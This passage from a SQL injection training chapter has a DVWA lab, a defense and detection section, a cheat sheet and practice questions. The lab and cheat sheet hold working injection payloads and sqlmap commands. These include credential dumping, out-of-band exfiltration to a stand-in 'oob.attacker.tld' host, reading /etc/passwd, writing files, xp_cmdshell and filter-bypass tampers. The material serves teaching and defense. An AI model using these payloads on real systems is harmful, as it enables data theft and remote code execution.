This lab uses a local, legal target you control — the intentionally vulnerable DVWA (Damn Vulnerable Web Application) at “SQL Injection” medium security, or PortSwigger’s Web Security Academy UNION lab. Never run these techniques against a system you are not authorised to test. The commands below assume a lab at http://localhost:8080 with an id parameter.

Step 0 — Confirm the injection (recap from Chapter 1)

# Baseline vs broken
curl -s "http://localhost:8080/vuln.php?id=1"        | grep -c "First name"   # 1 (normal)
curl -s "http://localhost:8080/vuln.php?id=1'"       | grep -ci "SQL syntax"  # 1 (error, injectable)

Step 1 — Count columns with ORDER BY

for n in 1 2 3 4; do
  echo -n "ORDER BY $n -> "
  curl -s "http://localhost:8080/vuln.php?id=1' ORDER BY $n-- -" \
    | grep -qi "Unknown column" && echo "ERROR" || echo "OK"
done

Output:

ORDER BY 1 -> OK
ORDER BY 2 -> OK
ORDER BY 3 -> ERROR

→ 2 columns.

Step 2 — Find the reflected string column

curl -s "http://localhost:8080/vuln.php?id=1' UNION SELECT 'AAA','BBB'-- -" | grep -o "AAA\|BBB"

Output:

AAA
BBB

Both reflect; use column 2 for readable multi-value output.

Step 3 — Fingerprint and pull identity

curl -s "http://localhost:8080/vuln.php?id=1' UNION SELECT NULL,\
CONCAT(version(),0x3a,current_user(),0x3a,database())-- -" | grep -o "[0-9].*shopdb"

Output:

8.0.36-0ubuntu0.22.04.1:webapp@localhost:shopdb

Step 4 — Enumerate schema

# tables
curl -s "http://localhost:8080/vuln.php?id=1' UNION SELECT NULL,\
(SELECT GROUP_CONCAT(table_name SEPARATOR 0x0a) FROM information_schema.tables \
WHERE table_schema=database())-- -"

Output includes:

guestbook
users

# columns of users
curl -s "http://localhost:8080/vuln.php?id=1' UNION SELECT NULL,\
(SELECT GROUP_CONCAT(column_name SEPARATOR 0x0a) FROM information_schema.columns \
WHERE table_name=0x7573657273)-- -"

Output:

user_id
first_name
last_name
user
password

Step 5 — Extract minimal proof

curl -s "http://localhost:8080/vuln.php?id=1' UNION SELECT NULL,\
(SELECT CONCAT(user,0x3a,password) FROM users LIMIT 1)-- -"

Output (proof row, hash redacted before it leaves your notes):

admin:5f4dcc3b5aa765d61d8327deb882cf99

That MD5 is password — but on a real engagement you’d redact the hash and stop here.

Step 6 — Let sqlmap confirm and dump (targeted)

sqlmap -u "http://localhost:8080/vuln.php?id=1" -p id --batch \
  --cookie="security=medium; PHPSESSID=..." \
  -D shopdb -T users -C user,password --dump

Abridged output:

[INFO] the back-end DBMS is MySQL
Database: shopdb
Table: users
[2 entries]
+---------+--------------------------------------------------+
| user    | password                                         |
+---------+--------------------------------------------------+
| admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password)      |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)        |
+---------+--------------------------------------------------+

sqlmap recognised the MD5 format and cracked both against its dictionary — note it annotates the plaintext in parentheses. On a real target you would not run a full dump; this lab is yours to break.

Step 7 — Blind fallback drill

Switch DVWA to “SQL Injection (Blind)” and repeat extraction with the boolean script from Part 4 (swap the URL and TRUE_MARKER to match the blind page’s “User ID exists” text). This trains the muscle for real targets where reflection is absent.

Part 12: Detection & Defense Angle

This is the consolidated blue-team section. Everything above is offensive; here is how to make all of it fail. The techniques differ, but one root cause underlies every variant: untrusted input is allowed to change query structure. Fix that and the entire chapter becomes moot.

12.1 The one real fix: parameterised queries (prepared statements)

Parameterisation sends the query structure and the data to the database separately, so input can never be parsed as SQL. This is the primary, near-total defense.

# VULNERABLE — string concatenation
cur.execute("SELECT * FROM users WHERE name = '" + name + "'")

# SAFE — parameterised; the driver binds `name` as data, never as SQL
cur.execute("SELECT * FROM users WHERE name = %s", (name,))

// SAFE — Java PreparedStatement
PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM users WHERE name = ?");
ps.setString(1, name);

Caveat: you cannot parameterise identifiers (table/column names, ORDER BY columns, ASC/DESC) — only values. For those, use a strict allow-list mapping user input to a fixed set of known-safe identifiers. This is exactly where the ORDER BY context injections from Part 1 live, so it deserves explicit attention.

12.2 Defense in depth (each is a mitigation, not a substitute)

• Least privilege for the DB account. The web app’s DB user should have only SELECT/INSERT/UPDATE/DELETE on the tables it needs — never FILE, never DBA/sysadmin, never permission to run xp_cmdshell or read information_schema it doesn’t need. This directly kills the escalation in Part 9.
• Generic error handling. Return a generic error page; log the real exception server-side. This removes the entire error-based channel (Part 3) and much of the fingerprinting from Chapter 1.
• Input validation / allow-listing where the input has a known shape (an id must match ^[0-9]+$). Validation is a useful layer, but never the primary defense — attackers bypass blacklists (Part 10). Allow-lists beat blacklists.
• WAF as a speed bump and telemetry source, not a fix. A WAF buys time and generates alerts; it does not remove the vulnerability, and every rule can be bypassed (Part 10).
• ORMs used correctly. Parameterise by default, but raw-query escape hatches (.raw(), string interpolation into WHERE) reintroduce the bug — grep for them in review.

12.3 Detection telemetry

Signal	What it catches
DB errors spiking on one endpoint	Error-based / discovery probing
information_schema / sys.* access from the app’s DB user	Enumeration (app rarely needs it in prod)
Per-endpoint latency outliers clustered at round seconds	Time-based blind
High-volume near-identical requests, one char varying	Boolean/time blind extraction (incl. sqlmap)
Outbound DNS from the DB host to odd domains	Out-of-band exfil (Part 6)
User-Agent: sqlmap/... (default)	Lazy automated scanning
xp_cmdshell / COPY ... PROGRAM / INTO OUTFILE in query logs	Escalation attempts (Part 9)

Enable DB query logging or a database activity monitor, forward to your SIEM, and alert on the app’s DB user touching information_schema, using file functions, or invoking command-execution primitives — none of which a normal application does in production.

flowchart LR
    IN[Untrusted input] --> PQ{Parameterised query?}
    PQ -->|Yes| SAFE[Input bound as data, safe]
    PQ -->|No| VULN[Structure alterable]
    VULN --> LP{Least-privilege DB user?}
    LP -->|Yes| LIMIT[Blast radius limited]
    LP -->|No| FULL[File read/write, RCE possible]
    SAFE --> LOG[Log + monitor anyway]
    LIMIT --> LOG
    FULL --> LOG

Part 13: Common Mistakes and How to Avoid Them

• Skipping column counting and guessing at UNION width — always ORDER BY first.
• Forgetting the trailing space after -- in MySQL — use -- - every time.
• Putting strings in numeric-only columns on PostgreSQL/MSSQL and reading the type error as “not injectable.” It is injectable; you just chose the wrong column — use NULLs to count, then place your string in a text column.
• Using quotes inside an already-quoted payload. Use hex (0x...) or CHAR() for string literals to avoid quote collisions and some filters.
• Treating a byte-identical page as “not exploitable.” It may still be time-based or out-of-band injectable. Escalate down the channel decision tree, don’t give up.
• Running --dump-all / high --risk on a bounty target. This is noisy, often against program rules, and can turn a valid finding into a data-handling incident. Extract minimal proof.
• Letting time-based thresholds sit too close to baseline latency — false positives everywhere. Sleep long, threshold in the middle.
• Ignoring second-order sinks. If first-order tests are clean, test stored inputs reaching later queries.

Part 14: Final Revision / Summary

• Exploitation technique is chosen by the exfiltration channel: reflected data → UNION; reflected errors → error-based; behavioural difference only → boolean blind; timing only → time-based blind; nothing visible → out-of-band.
• UNION requires matching column count (ORDER BY / NULLs) and a reflected string-capable column, then reads information_schema in the loop tables → columns → data.
• Error-based smuggles data inside DB error messages: MySQL EXTRACTVALUE/UPDATEXML (32-char limit), MSSQL CONVERT, PostgreSQL CAST.
• Boolean blind binary-searches each character via SUBSTRING+ASCII and a true/false page signal (~7 requests/char).
• Time blind does the same using SLEEP/WAITFOR/pg_sleep and response timing — the slow last resort.
• Out-of-band exfils through DNS/HTTP the DB server initiates (xp_dirtree, UTL_INADDR, LOAD_FILE on UNC) — fast but needs egress.
• Second-order fires when stored input is later concatenated into a new query.
• sqlmap automates all of it — -r, -p, --dbs/--tables/--columns/--dump, --level, --risk, --technique, --tamper — but understand the manual techniques first.
• Escalation to file read/write and RCE depends on DBMS + privileges; it is an ethics boundary on bounties.
• Defense is overwhelmingly one thing — parameterised queries — backed by least privilege, generic errors, allow-listing, and monitoring.

Part 15: Cheat Sheet / Quick Reference

COUNT COLUMNS
  ' ORDER BY 1-- -   (increment until error)
  ' UNION SELECT NULL,NULL,...-- -   (add NULLs until OK; Oracle: ...FROM DUAL)

FIND REFLECTED STRING COLUMN
  ' UNION SELECT 'a',NULL,NULL-- -   (rotate the 'a' through positions)

IDENTITY (minimal proof)
  MySQL : ' UNION SELECT NULL,CONCAT(version(),0x3a,current_user(),0x3a,database())-- -
  MSSQL : ' UNION SELECT NULL,@@version-- -   ; SYSTEM_USER ; DB_NAME()
  PgSQL : ' UNION SELECT NULL,version()-- -   ; current_user ; current_database()

SCHEMA (MySQL/MSSQL/PgSQL)
  tables : information_schema.tables  WHERE table_schema=database()
  cols   : information_schema.columns WHERE table_name=0x<hextable>
  Oracle : ALL_TABLES / ALL_TAB_COLUMNS

ERROR-BASED
  MySQL : ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))-- -
  MSSQL : ' AND 1=CONVERT(int,(SELECT @@version))-- -
  PgSQL : ' AND 1=CAST((SELECT version()) AS int)-- -

BOOLEAN BLIND
  ' AND ASCII(SUBSTRING((<expr>),<pos>,1)) > <mid>-- -   (binary search 32..126)

TIME BLIND
  MySQL : ' AND IF(<cond>,SLEEP(5),0)-- -
  MSSQL : '; IF(<cond>) WAITFOR DELAY '0:0:5'-- -
  PgSQL : ' AND (SELECT CASE WHEN <cond> THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

OUT-OF-BAND
  MSSQL : '; EXEC('master..xp_dirtree "\\'+@d+'.oob.attacker.tld\x"')-- -
  Oracle: UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.oob.attacker.tld')

SQLMAP
  sqlmap -r req.txt -p id --batch --dbs
  sqlmap -r req.txt -p id --batch -D db -T users -C user,password --dump
  sqlmap -r req.txt -p id --batch --technique=BEU --threads=10
  sqlmap -r req.txt -p id --batch --tamper=space2comment,randomcase
  sqlmap -r req.txt -p id --batch --os-shell        (auth required, ethics!)

ESCALATION
  MySQL : ' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL-- -
          ... INTO OUTFILE '/var/www/html/s.php'   (needs FILE + writable path)
  MSSQL : EXEC xp_cmdshell 'whoami'   (needs sysadmin)
  PgSQL : COPY (SELECT '') TO PROGRAM 'id'   (needs superuser)

DEFENSE
  Parameterised queries (bind values) — the real fix
  Allow-list identifiers (ORDER BY / table names — can't be parameterised)
  Least-privilege DB user (no FILE, no DBA)
  Generic errors (kills error-based)
  Monitor: information_schema access, round-second latency, outbound DNS from DB host

Part 16: Practice Labs & Resources

Train each technique on a legal target:

• PortSwigger Web Security Academy — SQL injection (portswigger.net/web-security/sql-injection) — free, definitive, and technique-labelled. Work the UNION labs (column count, string column, examining the database), the blind SQL injection with conditional responses (boolean), blind with time delays and …with conditional errors, and the out-of-band (OAST) labs. This is the single best place to drill everything in this chapter.
• DVWA — SQL Injection & SQL Injection (Blind) — adjustable difficulty; do Low → Medium → High for both to feel filters and blind extraction locally.
• OWASP Juice Shop — realistic UNION-based extraction behind a modern SPA/API; good for practising JSON-body and API-context injection.
• HackTheBox Academy — “SQL Injection Fundamentals” module, and web machines where SQLi is the entry vector (feeds into the pentest-web track’s “web bug to shell” chapter).
• TryHackMe — “SQL Injection”, “SQLMAP”, “Advanced SQL Injection” rooms — guided practice including sqlmap usage.
• pentesterlab — “From SQL Injection to Shell” I & II — the full escalation chain from Part 9, end to end.
• PortSwigger SQL injection cheat sheet (portswigger.net/web-security/sql-injection/cheat-sheet) — per-DBMS syntax you’ll reference constantly.
• OWASP SQL Injection Prevention Cheat Sheet (cheatsheetseries.owasp.org) — the authoritative remediation reference for the defense section of your reports.

Practice questions:

1. A search page reflects results and you’ve confirmed a single-quoted string context. ' ORDER BY 5-- - errors but ' ORDER BY 4-- - is fine, yet ' UNION SELECT 'a','a','a','a'-- - throws a type error. What’s happening, and how do you get a string to reflect?
2. On an MSSQL target the app shows detailed errors but never reflects query data. Write the single payload that extracts @@version, and explain why MSSQL is especially friendly to this technique.
3. A page is byte-for-byte identical for ' AND 1=1-- - and ' AND 1=2-- -. Describe your next two techniques in order and write a MySQL payload for each.
4. You confirm blind SQLi but extraction by hand would take hours. Write the sqlmap command to dump only the email and password columns of the customers table in database app, using a saved request file, restricted to boolean+time techniques with 10 threads.
5. Your UNION payloads are blocked whenever they contain the word UNION or a space. Give two distinct rewrites of ' UNION SELECT NULL,version()-- - that bypass both filters, and name the sqlmap tamper scripts that automate each.